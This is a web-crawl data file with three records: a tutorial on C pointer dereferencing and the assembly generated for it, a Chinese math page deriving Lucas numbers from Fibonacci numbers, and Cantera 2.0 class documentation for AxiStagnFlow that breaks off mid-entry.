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http://www.avabodh.com/cin/pointer.html	[ "# Pointer Dereferencing\n\nTake this C code as example:\n```// this is defined globally.\nint globalVar;\n// These lines of code are part of some function\nint b;\nint * ptr;\nptr = &globalVar;\nptr = 100;\nb = ptr;\n```\n\nGenerated assembly code:\n```movl \\$globalVar, -4(%ebp)\nmovl -4(%ebp), %eax\nmovl \\$100, (%eax)\nmovl -4(%ebp), %eax\nmovl (%eax), %eax\nmovl %eax, -8(%ebp)\n```\nLocation of local variables of the stack (local variables are explained here)\n```ptr => -4(%ebp)\nb => -8(%ebp)\n```\nThe use of registers as temporary memory is described here\n```# ptr = &globarVar\nmovl \\$globalVar, -4(%ebp)\n\n# tmp = ptr\nmovl -4(%ebp), %eax\n\n# tmp = 100\nmovl \\$100, (%eax)\n\n# tmp = ptr\nmovl -4(%ebp), %eax\n\n# tmp = tmp\nmovl (%eax), %eax\n\n# b = tmp\nmovl %eax, -8(%ebp)\n```" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.6868989,"math_prob":0.9909024,"size":731,"snap":"2020-10-2020-16","text_gpt3_token_len":252,"char_repetition_ratio":0.18569463,"word_repetition_ratio":0.062015504,"special_character_ratio":0.37209302,"punctuation_ratio":0.15172414,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.986551,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-02-28T08:12:40Z\",\"WARC-Record-ID\":\"<urn:uuid:ee0c2e8e-89c0-4793-bda8-315f1cf11e45>\",\"Content-Length\":\"5873\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:0b46bc18-edb7-4b4f-943f-c656cd5ca944>\",\"WARC-Concurrent-To\":\"<urn:uuid:af8e10e3-7284-4679-bf54-da17dfed44f8>\",\"WARC-IP-Address\":\"185.199.111.153\",\"WARC-Target-URI\":\"http://www.avabodh.com/cin/pointer.html\",\"WARC-Payload-Digest\":\"sha1:4FSAK64DAUOSOX2ZXTRMZMOHYP6LRZUD\",\"WARC-Block-Digest\":\"sha1:Y5AJRKP7Q6UVAXMVGEFIRJTWJCQ2SVEZ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-10/CC-MAIN-2020-10_segments_1581875147116.85_warc_CC-MAIN-20200228073640-20200228103640-00122.warc.gz\"}"}
https://www.tl6.net/que8shu/10392.html	[ "", null, "1,1, 2, 3, 5, 8, 13, 21, 34, 55, ···\n\n0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, ···\n\nLn =Fn-1 +Fn+1, 其中 n=1,2,3, ···\n\nL1 =F0 +F2 = 0+ 1=1\n\nL2 =F1 +F3 = 1+ 2=3\n\nL3 =F2 +F4 = 1+ 3=4\n\nL4 =F3 +F5 = 2+ 5=7\n\nL5 =F4 +F6 = 3+ 8=11\n\nL6 =F5 +F7 = 5+ 13=18\n\nL7 =F6 +F8 = 8+ 21=29\n\nL8 =F7 +F9 =13+ 34=47\n\nL9 = F8 +F10 =21+ 55=76\n\nL10 =F9 + F11 =34+ 89=123\n\nL11 =F10 +F12 =55+144=199\n\nL12 =F11 +F13 =89+233=322\n\nL13 =F12 +F14 =144+377=521\n\n............\n\n1,3,4,7,11,18,29,47,76,123,199,332,521,···\n\nLn =Fn-1 +Fn+1\n\n=(Fn-3 +Fn-2 ) +(Fn-1 +Fn )\n\n=(Fn-3 +Fn-1 ) +( Fn-2 + Fn )\n\n=Ln-2+Ln-1\n\nL2－1=3－1=2=1×2\n\nL3－1= 4－1 = 3 = 1×3\n\nL5－1= 11－1 =10=2×5\n\nL7－1= 29－1 =28=4×7\n\nL11－1= 199－1 =198=18×11\n\nL13－1 = 521－1 =520 =40×13" ]	[ null, "https://www.tl6.net/uploads/allimg/211004/1-211004125034338.jpg", null ]	{"ft_lang_label":"__label__zh","ft_lang_prob":0.74311876,"math_prob":1.0000068,"size":1046,"snap":"2021-43-2021-49","text_gpt3_token_len":910,"char_repetition_ratio":0.07677543,"word_repetition_ratio":0.06802721,"special_character_ratio":0.626195,"punctuation_ratio":0.17985612,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.0000072,"pos_list":[0,1,2],"im_url_duplicate_count":[null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-10-26T08:06:39Z\",\"WARC-Record-ID\":\"<urn:uuid:ed3bd127-5057-4c6f-86a1-5d95c0d47a7b>\",\"Content-Length\":\"70787\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:9aee26ea-29ce-4b5e-ac2c-dedd2a3b12bf>\",\"WARC-Concurrent-To\":\"<urn:uuid:3ca0fb39-2c22-443b-8c7a-20257a750c1c>\",\"WARC-IP-Address\":\"47.243.22.81\",\"WARC-Target-URI\":\"https://www.tl6.net/que8shu/10392.html\",\"WARC-Payload-Digest\":\"sha1:ZHID7FCNUTRQRJQFL4SEYD3JAGWMOYCZ\",\"WARC-Block-Digest\":\"sha1:OBXTT5XFBRKJPBRPJYZTOM3MWD5PXWOX\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-43/CC-MAIN-2021-43_segments_1634323587854.13_warc_CC-MAIN-20211026072759-20211026102759-00379.warc.gz\"}"}
https://cantera.org/documentation/docs-2.0/doxygen/html/classCantera_1_1AxiStagnFlow.html	[ "Cantera 2.0\nAxiStagnFlow Class Reference\n\nA class for axisymmetric stagnation flows. More...\n\n#include <StFlow.h>\n\nInheritance diagram for AxiStagnFlow:\n[legend]\nCollaboration diagram for AxiStagnFlow:\n[legend]\n\n## Public Member Functions\n\nAxiStagnFlow (IdealGasPhase ph=0, size_t nsp=1, size_t points=1)\n\nvirtual void eval (size_t j, doublereal x, doublereal r, integer mask, doublereal rdt)\nEvaluate the residual function for axisymmetric stagnation flow.\n\nvirtual std::string flowType ()\n\nint domainType ()\nDomain type flag.\n\nsize_t domainIndex ()\nThe left-to-right location of this domain.\n\nbool isConnector ()\nTrue if the domain is a connector domain.\n\nconst OneDimcontainer () const\nThe container holding this domain.\n\nvoid setContainer (OneDim c, size_t index)\nSpecify the container object for this domain, and the position of this domain in the list.\n\nvoid setBandwidth (int bw=-1)\n\nsize_t bandwidth ()\nSet the Jacobian bandwidth for this domain.\n\nvirtual void setInitialState (doublereal xlocal=0)\n\nRefiner & refiner ()\nReturn a reference to the grid refiner.\n\nsize_t nComponents () const\nNumber of components at each grid point.\n\nvoid checkComponentIndex (size_t n) const\nCheck that the specified component index is in range Throws an exception if n is greater than nComponents()-1.\n\nvoid checkComponentArraySize (size_t nn) const\nCheck that an array size is at least nComponents() Throws an exception if nn is less than nComponents().\n\nsize_t nPoints () const\nNumber of grid points in this domain.\n\nvoid checkPointIndex (size_t n) const\nCheck that the specified point index is in range Throws an exception if n is greater than nPoints()-1.\n\nvoid checkPointArraySize (size_t nn) const\nCheck that an array size is at least nPoints() Throws an exception if nn is less than nPoints().\n\nvoid setComponentName (size_t n, std::string name)\n\nvoid setComponentType (size_t n, int ctype)\n\nvoid setBounds (size_t nl, const doublereal lower, size_t nu, const doublereal upper)\nSet the lower and upper bounds for each solution component.\n\nvoid setBounds (size_t n, doublereal lower, doublereal upper)\n\nvoid setTolerances (size_t nr, const doublereal rtol, size_t na, const doublereal atol, int ts=0)\nset the error tolerances for all solution components.\n\nvoid setTolerances (size_t n, doublereal rtol, doublereal atol, int ts=0)\nset the error tolerances for solution component n.\n\nvoid setTolerances (doublereal rtol, doublereal atol, int ts=0)\nset scalar error tolerances.\n\nvoid setTolerancesTS (doublereal rtol, doublereal atol)\n\nvoid setTolerancesSS (doublereal rtol, doublereal atol)\n\ndoublereal rtol (size_t n)\nRelative tolerance of the nth component.\n\ndoublereal atol (size_t n)\nAbsolute tolerance of the nth component.\n\ndoublereal upperBound (size_t n) const\nUpper bound on the nth component.\n\ndoublereal lowerBound (size_t n) const\nLower bound on the nth component.\n\nvoid initTimeInteg (doublereal dt, const doublereal x0)\nPrepare to do time stepping with time step dt.\n\nPrepare to solve the steady-state problem.\n\nbool transient ()\nTrue if not in steady-state mode.\n\nvoid needJacUpdate ()\nSet this if something has changed in the governing equations (e.g.\n\nvoid evalss (doublereal x, doublereal r, integer mask)\nEvaluate the steady-state residual at all points, even if in transient mode.\n\nvirtual doublereal residual (doublereal x, size_t n, size_t j)\n\nint timeDerivativeFlag (size_t n)\n\nvoid setAlgebraic (size_t n)\n\nvirtual void update (doublereal x)\nDoes nothing.\n\ndoublereal time () const\n\nvoid incrementTime (doublereal dt)\n\nsize_t index (size_t n, size_t j) const\n\ndoublereal value (const doublereal x, size_t n, size_t j) const\n\nsize_t size () const\n\nvoid locate ()\nFind the index of the first grid point in this domain, and the start of its variables in the global solution vector.\n\nvirtual size_t loc (size_t j=0) const\nLocation of the start of the local solution vector in the global solution vector,.\n\nsize_t firstPoint () const\nThe index of the first (i.e., left-most) grid point belonging to this domain.\n\nsize_t lastPoint () const\nThe index of the last (i.e., right-most) grid point belonging to this domain.\n\nSet the left neighbor to domain 'left.\n\nSet the right neighbor to domain 'right.\n\nvoid append (Domain1D right)\nAppend domain 'right' to this one, and update all links.\n\nDomain1Dleft () const\nReturn a pointer to the left neighbor.\n\nDomain1Dright () const\nReturn a pointer to the right neighbor.\n\ndouble prevSoln (size_t n, size_t j) const\nValue of component n at point j in the previous solution.\n\nvoid setID (const std::string &s)\nSpecify an identifying tag for this domain.\n\nstd::string id () const\n\nvoid setDesc (const std::string &s)\nSpecify descriptive text for this domain.\n\nconst std::string & desc ()\n\nvirtual void showSolution_s (std::ostream &s, const doublereal x)\n\ndoublereal z (size_t jlocal) const\n\ndoublereal zmin () const\n\ndoublereal zmax () const\n\nvoid setProfile (std::string name, doublereal values, doublereal soln)\n\nvector_fpgrid ()\n\nconst vector_fpgrid () const\n\ndoublereal grid (size_t point)\n\nvoid setGrid (size_t n, const doublereal z)\n\nvirtual doublereal initialValue (size_t n, size_t j)\nInitial value of solution component n at grid point j.\n\n## Public Attributes\n\ndoublereal m_zfixed\n\ndoublereal m_tfixed\n\n## Protected Attributes\n\ndoublereal m_rdt\n\nsize_t m_nv\n\nsize_t m_points\n\nvector_fp m_slast\n\ndoublereal m_time\n\nvector_fp m_max\n\nvector_fp m_min\n\nvector_fp m_rtol_ss\n\nvector_fp m_rtol_ts\n\nvector_fp m_atol_ss\n\nvector_fp m_atol_ts\n\nvector_fp m_z\n\nOneDimm_container\n\nsize_t m_index\n\nint m_type\n\nsize_t m_iloc\nStarting location within the solution vector for unknowns that correspond to this domain.\n\nsize_t m_jstart\n\nDomain1Dm_left\n\nDomain1Dm_right\n\nstd::string m_id\nIdentity tag for the domain.\n\nstd::string m_desc\n\nRefiner * m_refiner\n\nvector_int m_td\n\nstd::vector< std::string > m_name\n\nint m_bw\n\n## Problem Specification\n\nvirtual void setupGrid (size_t n, const doublereal z)\n\nthermo_tphase ()\n\nKineticskinetics ()\n\nvirtual void init ()\nInitialize.\n\nvoid setThermo (IdealGasPhase &th)\nSet the thermo manager.\n\nvoid setKinetics (Kinetics &kin)\nSet the kinetics manager. The kinetics manager must.\n\nvoid setTransport (Transport &trans, bool withSoret=false)\nset the transport manager\n\nvoid enableSoret (bool withSoret)\n\nbool withSoret () const\n\nvoid setPressure (doublereal p)\nSet the pressure.\n\nvirtual void setState (size_t point, const doublereal state, doublereal x)\n\nvirtual void _getInitialSoln (doublereal x)\nWrite the initial solution estimate into array x.\n\nvirtual void _finalize (const doublereal x)\nIn some cases, a domain may need to set parameters that depend on the initial solution estimate.\n\nvoid setFixedTempProfile (vector_fp &zfixed, vector_fp &tfixed)\nSometimes it is desired to carry out the simulation using a specified temperature profile, rather than computing it by solving the energy equation.\n\nvoid setTemperature (size_t j, doublereal t)\nSet the temperature fixed point at grid point j, and disable the energy equation so that the solution will be held to this value.\n\nvoid setMassFraction (size_t j, size_t k, doublereal y)\nSet the mass fraction fixed point for species k at grid point j, and disable the species equation so that the solution will be held to this value.\n\ndoublereal T_fixed (size_t j) const\nThe fixed temperature value at point j.\n\ndoublereal Y_fixed (size_t k, size_t j) const\nThe fixed mass fraction value of species k at point j.\n\nvirtual std::string componentName (size_t n) const\nName of the nth component. May be overloaded.\n\nsize_t componentIndex (std::string name) const\n\nvirtual void showSolution (const doublereal x)\nPrint the solution.\n\nvirtual void save (XML_Node &o, const doublereal const sol)\nSave the current solution for this domain into an XML_Node.\n\nvirtual void restore (const XML_Node &dom, doublereal soln)\n\nvoid solveEnergyEqn (size_t j=npos)\n\nvoid fixTemperature (size_t j=npos)\n\nbool doSpecies (size_t k)\n\nbool doEnergy (size_t j)\n\nvoid solveSpecies (size_t k=npos)\n\nvoid fixSpecies (size_t k=npos)\n\nvoid integrateChem (doublereal x, doublereal dt)\n\nvoid resize (size_t components, size_t points)\nChange the grid size.\n\nvirtual void setFixedPoint (int j0, doublereal t0)\n\nvoid setJac (MultiJac jac)\n\nvoid setGas (const doublereal x, size_t j)\nSet the gas object state to be consistent with the solution at point j.\n\nvoid setGasAtMidpoint (const doublereal x, size_t j)\nSet the gas state to be consistent with the solution at the midpoint between j and j + 1.\n\ndoublereal density (size_t j) const\n\nvirtual bool fixed_mdot ()\n\nvoid setViscosityFlag (bool dovisc)\n\ndoublereal m_inlet_u\n\ndoublereal m_inlet_V\n\ndoublereal m_inlet_T\n\ndoublereal m_rho_inlet\n\nvector_fp m_yin\n\ndoublereal m_surface_T\n\ndoublereal m_press\n\nvector_fp m_dz\n\nvector_fp m_rho\n\nvector_fp m_wtm\n\nvector_fp m_wt\n\nvector_fp m_cp\n\nvector_fp m_enth\n\nvector_fp m_visc\n\nvector_fp m_tcon\n\nvector_fp m_diff\n\nvector_fp m_multidiff\n\nArray2D m_dthermal\n\nArray2D m_flux\n\nArray2D m_wdot\n\nvector_fp m_surfdot\n\nsize_t m_nsp\n\nIdealGasPhasem_thermo\n\nKineticsm_kin\n\nTransportm_trans\n\nMultiJacm_jac\n\nbool m_ok\n\nstd::vector< bool > m_do_energy\n\nbool m_do_soret\n\nstd::vector< bool > m_do_species\n\nint m_transport_option\n\nArray2D m_fixedy\n\nvector_fp m_fixedtemp\n\nvector_fp m_zfix\n\nvector_fp m_tfix\n\nbool m_dovisc\n\ndoublereal component (const doublereal x, size_t i, size_t j) const\n\ndoublereal conc (const doublereal x, size_t k, size_t j) const\n\ndoublereal cbar (const doublereal x, size_t k, size_t j) const\n\ndoublereal wdot (size_t k, size_t j) const\n\nvoid getWdot (doublereal x, size_t j)\nwrite the net production rates at point j into array m_wdot\n\nvoid updateThermo (const doublereal x, size_t j0, size_t j1)\nupdate the thermodynamic properties from point j0 to point j1 (inclusive), based on solution x.\n\ndoublereal cdif2 (const doublereal x, size_t n, size_t j, const doublereal f) const\n\ndoublereal T (const doublereal x, size_t j) const\n\ndoublereal & T (doublereal x, size_t j)\n\ndoublereal T_prev (size_t j) const\n\ndoublereal rho_u (const doublereal x, size_t j) const\n\ndoublereal u (const doublereal x, size_t j) const\n\ndoublereal V (const doublereal x, size_t j) const\n\ndoublereal V_prev (size_t j) const\n\ndoublereal lambda (const doublereal x, size_t j) const\n\ndoublereal Y (const doublereal x, size_t k, size_t j) const\n\ndoublereal & Y (doublereal x, size_t k, size_t j)\n\ndoublereal Y_prev (size_t k, size_t j) const\n\ndoublereal X (const doublereal x, size_t k, size_t j) const\n\ndoublereal flux (size_t k, size_t j) const\n\ndoublereal dVdz (const doublereal x, size_t j) const\n\ndoublereal dYdz (const doublereal x, size_t k, size_t j) const\n\ndoublereal dTdz (const doublereal x, size_t j) const\n\ndoublereal shear (const doublereal x, size_t j) const\n\ndoublereal divHeatFlux (const doublereal x, size_t j) const\n\nsize_t mindex (size_t k, size_t j, size_t m)\n\nvoid updateDiffFluxes (const doublereal x, size_t j0, size_t j1)\nUpdate the diffusive mass fluxes.\n\nvoid updateTransport (doublereal x, size_t j0, size_t j1)\nUpdate the transport properties at grid points in the range from j0 to j1, based on solution x.\n\n## Detailed Description\n\nA class for axisymmetric stagnation flows.\n\nDefinition at line 507 of file StFlow.h.\n\n## Member Function Documentation\n\n void eval ( size_t jg, doublereal xg, doublereal * rg, integer * diagg, doublereal rdt )\nvirtual\n\nEvaluate the residual function for axisymmetric stagnation flow.\n\nIf jpt is less than zero, the residual function is evaluated at all grid points. If jpt >= 0, then the residual function is only evaluated at grid points jpt-1, jpt, and jpt+1. This option is used to efficiently evaluate the Jacobian numerically.\n\nReimplemented from Domain1D.\n\nDefinition at line 342 of file StFlow.cpp.\n\n virtual void init ( )\ninlinevirtualinherited\n\nInitialize.\n\nThis method is called by OneDim::init() for each domain once at the beginning of a simulation. Base class method does nothing, but may be overloaded.\n\nReimplemented from Domain1D.\n\nDefinition at line 82 of file StFlow.h.\n\n void setThermo ( IdealGasPhase & th )\ninlineinherited\n\nSet the thermo manager.\n\nNote that the flow equations assume the ideal gas equation.\n\nDefinition at line 89 of file StFlow.h.\n\n void setKinetics ( Kinetics & kin )\ninlineinherited\n\nSet the kinetics manager. The kinetics manager must.\n\nDefinition at line 94 of file StFlow.h.\n\n void setTransport ( Transport & trans, bool withSoret = false )\ninherited\n\nset the transport manager\n\nInstall a transport manager.\n\nDefinition at line 242 of file StFlow.cpp.\n\nReferences Transport::model(), and Array2D::resize().\n\n void setPressure ( doublereal p )\ninlineinherited\n\nSet the pressure.\n\nSince the flow equations are for the limit of small Mach number, the pressure is very nearly constant throughout the flow.\n\nDefinition at line 108 of file StFlow.h.\n\n virtual void setState ( size_t point, const doublereal * state, doublereal * x )\ninlinevirtualinherited\nTodo:\nremove? may be unused\n\nReimplemented from Domain1D.\n\nDefinition at line 114 of file StFlow.h.\n\nReferences StFlow::setMassFraction(), and StFlow::setTemperature().\n\n virtual void _getInitialSoln ( doublereal * x )\ninlinevirtualinherited\n\nWrite the initial solution estimate into array x.\n\nReimplemented from Domain1D.\n\nDefinition at line 125 of file StFlow.h.\n\nReferences StFlow::T_fixed(), and StFlow::Y_fixed().\n\n void _finalize ( const doublereal * x )\nvirtualinherited\n\nIn some cases, a domain may need to set parameters that depend on the initial solution estimate.\n\nIn such cases, the parameters may be set in method _finalize. This method is called just before the Newton solver is called, and the x array is guaranteed to be the local solution vector for this domain that will be used as the initial guess. If no such parameters need to be set, then method _finalize does not need to be overloaded.\n\nReimplemented from Domain1D.\n\nDefinition at line 306 of file StFlow.cpp.\n\n void setFixedTempProfile ( vector_fp & zfixed, vector_fp & tfixed )\ninlineinherited\n\nSometimes it is desired to carry out the simulation using a specified temperature profile, rather than computing it by solving the energy equation.\n\nThis method specifies this profile.\n\nDefinition at line 141 of file StFlow.h.\n\n void setTemperature ( size_t j, doublereal t )\ninlineinherited\n\nSet the temperature fixed point at grid point j, and disable the energy equation so that the solution will be held to this value.\n\nDefinition at line 151 of file StFlow.h.\n\nReferenced by StFlow::_finalize(), and StFlow::setState().\n\n void setMassFraction ( size_t j, size_t k, doublereal y )\ninlineinherited\n\nSet the mass fraction fixed point for species k at grid point j, and disable the species equation so that the solution will be held to this value.\n\nnote: in practice, the species are hardly ever held fixed.\n\nDefinition at line 162 of file StFlow.h.\n\nReferenced by StFlow::_finalize(), and StFlow::setState().\n\n doublereal T_fixed ( size_t j ) const\ninlineinherited\n\nThe fixed temperature value at point j.\n\nDefinition at line 169 of file StFlow.h.\n\nReferenced by StFlow::_getInitialSoln(), AxiStagnFlow::eval(), and FreeFlame::eval().\n\n doublereal Y_fixed ( size_t k, size_t j ) const\ninlineinherited\n\nThe fixed mass fraction value of species k at point j.\n\nDefinition at line 175 of file StFlow.h.\n\nReferenced by StFlow::_getInitialSoln().\n\n string componentName ( size_t n ) const\nvirtualinherited\n\nName of the nth component. May be overloaded.\n\nReimplemented from Domain1D.\n\nDefinition at line 985 of file StFlow.cpp.\n\nReferences Phase::speciesName().\n\nReferenced by StFlow::showSolution().\n\n void showSolution ( const doublereal * x )\nvirtualinherited\n\nPrint the solution.\n\nReimplemented from Domain1D.\n\nDefinition at line 887 of file StFlow.cpp.\n\nReferences StFlow::componentName(), StFlow::updateThermo(), and Cantera::writelog().\n\n void save ( XML_Node & o, const doublereal const sol )\nvirtualinherited\n\nSave the current solution for this domain into an XML_Node.\n\nParameters\n o XML_Node to save the solution to. sol Current value of the solution vector. The object will pick out which part of the solution vector pertains to this object.\n\nReimplemented from Domain1D.\n\nDefinition at line 1170 of file StFlow.cpp.\n\n void resize ( size_t ncomponents, size_t points )\nvirtualinherited\n\nChange the grid size.\n\nCalled after grid refinement.\n\nReimplemented from Domain1D.\n\nDefinition at line 197 of file StFlow.cpp.\n\nReferences Array2D::resize(), and Domain1D::resize().\n\n void setGas ( const doublereal x, size_t j )\ninherited\n\nSet the gas object state to be consistent with the solution at point j.\n\nDefinition at line 280 of file StFlow.cpp.\n\n void setGasAtMidpoint ( const doublereal * x, size_t j )\ninherited\n\nSet the gas state to be consistent with the solution at the midpoint between j and j + 1.\n\nDefinition at line 293 of file StFlow.cpp.\n\nReferenced by StFlow::updateTransport().\n\n void getWdot ( doublereal * x, size_t j )\ninlineprotectedinherited\n\nwrite the net production rates at point j into array m_wdot\n\nDefinition at line 303 of file StFlow.h.\n\nReferences Kinetics::getNetProductionRates(), and StFlow::setGas().\n\nReferenced by AxiStagnFlow::eval(), and FreeFlame::eval().\n\n void updateThermo ( const doublereal * x, size_t j0, size_t j1 )\ninlineprotectedinherited\n\nupdate the thermodynamic properties from point j0 to point j1 (inclusive), based on solution x.\n\nDefinition at line 312 of file StFlow.h.\n\nReferenced by AxiStagnFlow::eval(), FreeFlame::eval(), and StFlow::showSolution().\n\n void updateDiffFluxes ( const doublereal * x, size_t j0, size_t j1 )\nprotectedinherited\n\nUpdate the diffusive mass fluxes.\n\nDefinition at line 942 of file StFlow.cpp.\n\nReferenced by AxiStagnFlow::eval(), and FreeFlame::eval().\n\n void updateTransport ( doublereal * x, size_t j0, size_t j1 )\nprotectedinherited\n\nUpdate the transport properties at grid points in the range from j0 to j1, based on solution x.\n\nDefinition at line 590 of file StFlow.cpp.\n\nReferenced by AxiStagnFlow::eval(), and FreeFlame::eval().\n\n int domainType ( )\ninlineinherited\n\nDomain type flag.\n\nDefinition at line 71 of file Domain1D.h.\n\n size_t domainIndex ( )\ninlineinherited\n\nThe left-to-right location of this domain.\n\nDefinition at line 78 of file Domain1D.h.\n\nReferenced by Cantera::bound_step().\n\n bool isConnector ( )\ninlineinherited\n\nTrue if the domain is a connector domain.\n\nDefinition at line 85 of file Domain1D.h.\n\n const OneDim& container ( ) const\ninlineinherited\n\nThe container holding this domain.\n\nDefinition at line 92 of file Domain1D.h.\n\n void setContainer ( OneDim * c, size_t index )\ninlineinherited\n\nSpecify the container object for this domain, and the position of this domain in the list.\n\nDefinition at line 100 of file Domain1D.h.\n\n size_t bandwidth ( )\ninlineinherited\n\nSet the Jacobian bandwidth for this domain.\n\nWhen class OneDim computes the bandwidth of the overall multi-domain problem (in OneDim::resize()), it calls this method for the bandwidth of each domain. If setBandwidth has not been called, then a negative bandwidth is returned, in which case OneDim assumes that this domain is dense – that is, at each point, all components depend on the value of all other components at that point. In this case, the bandwidth is bw = 2nComponents() - 1. However, if this domain contains some components that are uncoupled from other components at the same point, then this default bandwidth may greatly overestimate the true bandwidth, with a substantial penalty in performance. For such domains, use method setBandwidth to specify the bandwidth before passing this domain to the Sim1D or OneDim constructor.\n\nDefinition at line 129 of file Domain1D.h.\n\nReferenced by OneDim::resize().\n\n Refiner& refiner ( )\ninlineinherited\n\nReturn a reference to the grid refiner.\n\nDefinition at line 172 of file Domain1D.h.\n\nReferenced by Sim1D::refine(), Sim1D::setGridMin(), and Sim1D::setRefineCriteria().\n\n size_t nComponents ( ) const\ninlineinherited\n\nNumber of components at each grid point.\n\nDefinition at line 177 of file Domain1D.h.\n\n void checkComponentIndex ( size_t n ) const\ninlineinherited\n\nCheck that the specified component index is in range Throws an exception if n is greater than nComponents()-1.\n\nDefinition at line 183 of file Domain1D.h.\n\n void checkComponentArraySize ( size_t nn ) const\ninlineinherited\n\nCheck that an array size is at least nComponents() Throws an exception if nn is less than nComponents().\n\nUsed before calls which take an array pointer.\n\nDefinition at line 192 of file Domain1D.h.\n\n size_t nPoints ( ) const\ninlineinherited\n\nNumber of grid points in this domain.\n\nDefinition at line 199 of file Domain1D.h.\n\n void checkPointIndex ( size_t n ) const\ninlineinherited\n\nCheck that the specified point index is in range Throws an exception if n is greater than nPoints()-1.\n\nDefinition at line 205 of file Domain1D.h.\n\n void checkPointArraySize ( size_t nn ) const\ninlineinherited\n\nCheck that an array size is at least nPoints() Throws an exception if nn is less than nPoints().\n\nUsed before calls which take an array pointer.\n\nDefinition at line 214 of file Domain1D.h.\n\n void setBounds ( size_t nl, const doublereal lower, size_t nu, const doublereal * upper )\ninlineinherited\n\nSet the lower and upper bounds for each solution component.\n\nDefinition at line 254 of file Domain1D.h.\n\nReferences Cantera::int2str().\n\n void setTolerances ( size_t nr, const doublereal * rtol, size_t na, const doublereal * atol, int ts = 0 )\ninherited\n\nset the error tolerances for all solution components.\n\nDefinition at line 16 of file Domain1D.cpp.\n\nReferences Cantera::int2str().\n\n void setTolerances ( size_t n, doublereal rtol, doublereal atol, int ts = 0 )\ninherited\n\nset the error tolerances for solution component n.\n\nDefinition at line 34 of file Domain1D.cpp.\n\n void setTolerances ( doublereal rtol, doublereal atol, int ts = 0 )\ninherited\n\nset scalar error tolerances.\n\nAll solution components will have the same relative and absolute error tolerances.\n\nDefinition at line 47 of file Domain1D.cpp.\n\n doublereal rtol ( size_t n )\ninlineinherited\n\nRelative tolerance of the nth component.\n\nDefinition at line 285 of file Domain1D.h.\n\n doublereal atol ( size_t n )\ninlineinherited\n\nAbsolute tolerance of the nth component.\n\nDefinition at line 290 of file Domain1D.h.\n\n doublereal upperBound ( size_t n ) const\ninlineinherited\n\nUpper bound on the nth component.\n\nDefinition at line 295 of file Domain1D.h.\n\nReferenced by Cantera::bound_step(), and Inlet1D::save().\n\n doublereal lowerBound ( size_t n ) const\ninlineinherited\n\nLower bound on the nth component.\n\nDefinition at line 300 of file Domain1D.h.\n\nReferenced by Cantera::bound_step(), and Inlet1D::save().\n\n void initTimeInteg ( doublereal dt, const doublereal * x0 )\ninlineinherited\n\nPrepare to do time stepping with time step dt.\n\nCopy the internally-stored solution at the last time step to array x0.\n\nDefinition at line 310 of file Domain1D.h.\n\nReferences Domain1D::loc().\n\nReferenced by OneDim::initTimeInteg().\n\ninlineinherited\n\nPrepare to solve the steady-state problem.\n\nSet the internally-stored reciprocal of the time step to 0,0\n\nDefinition at line 319 of file Domain1D.h.\n\ninlineinherited\n\nDefinition at line 324 of file Domain1D.h.\n\n bool transient ( )\ninlineinherited\n\nTrue if not in steady-state mode.\n\nDefinition at line 329 of file Domain1D.h.\n\n void needJacUpdate ( )\ninherited\n\nSet this if something has changed in the governing equations (e.g.\n\nSignal that the current Jacobian is no longer valid.\n\nthe value of a constant has been changed, so that the last-computed Jacobian is no longer valid. Note: see file OneDim.cpp for the implementation of this method.\n\nDefinition at line 391 of file OneDim.cpp.\n\nReferences OneDim::jacobian(), OneDim::saveStats(), and MultiJac::setAge().\n\n void evalss ( doublereal * x, doublereal * r, integer * mask )\ninlineinherited\n\nEvaluate the steady-state residual at all points, even if in transient mode.\n\nUsed only to print diagnostic output.\n\nDefinition at line 345 of file Domain1D.h.\n\nReferences Domain1D::eval(), and Cantera::npos.\n\n virtual void update ( doublereal * x )\ninlinevirtualinherited\n\nDoes nothing.\n\nDefinition at line 373 of file Domain1D.h.\n\n void locate ( )\ninlineinherited\n\nFind the index of the first grid point in this domain, and the start of its variables in the global solution vector.\n\nDefinition at line 413 of file Domain1D.h.\n\nReferences Domain1D::lastPoint(), Domain1D::loc(), Domain1D::locate(), and Domain1D::m_iloc.\n\nReferenced by Domain1D::linkLeft(), Domain1D::locate(), and Domain1D::resize().\n\n virtual size_t loc ( size_t j = 0 ) const\ninlinevirtualinherited\n\nLocation of the start of the local solution vector in the global solution vector,.\n\nDefinition at line 438 of file Domain1D.h.\n\nReferences Domain1D::m_iloc.\n\n size_t firstPoint ( ) const\ninlineinherited\n\nThe index of the first (i.e., left-most) grid point belonging to this domain.\n\nDefinition at line 446 of file Domain1D.h.\n\n size_t lastPoint ( ) const\ninlineinherited\n\nThe index of the last (i.e., right-most) grid point belonging to this domain.\n\nDefinition at line 454 of file Domain1D.h.\n\n void linkLeft ( Domain1D * left )\ninlineinherited\n\nSet the left neighbor to domain 'left.\n\n' Method 'locate' is called to update the global positions of this domain and all those to its right.\n\nDefinition at line 463 of file Domain1D.h.\n\nReferences Domain1D::left(), and Domain1D::locate().\n\nReferenced by Domain1D::append().\n\n void linkRight ( Domain1D * right )\ninlineinherited\n\nSet the right neighbor to domain 'right.\n\n'\n\nDefinition at line 471 of file Domain1D.h.\n\nReferences Domain1D::right().\n\nReferenced by Domain1D::append().\n\n void append ( Domain1D * right )\ninlineinherited\n\nAppend domain 'right' to this one, and update all links.\n\nDefinition at line 478 of file Domain1D.h.\n\n Domain1D* left ( ) const\ninlineinherited\n\nReturn a pointer to the left neighbor.\n\nDefinition at line 486 of file Domain1D.h.\n\n Domain1D* right ( ) const\ninlineinherited\n\nReturn a pointer to the right neighbor.\n\nDefinition at line 493 of file Domain1D.h.\n\n double prevSoln ( size_t n, size_t j ) const\ninlineinherited\n\nValue of component n at point j in the previous solution.\n\nDefinition at line 500 of file Domain1D.h.\n\nReferenced by ReactingSurf1D::eval().\n\n void setID ( const std::string & s 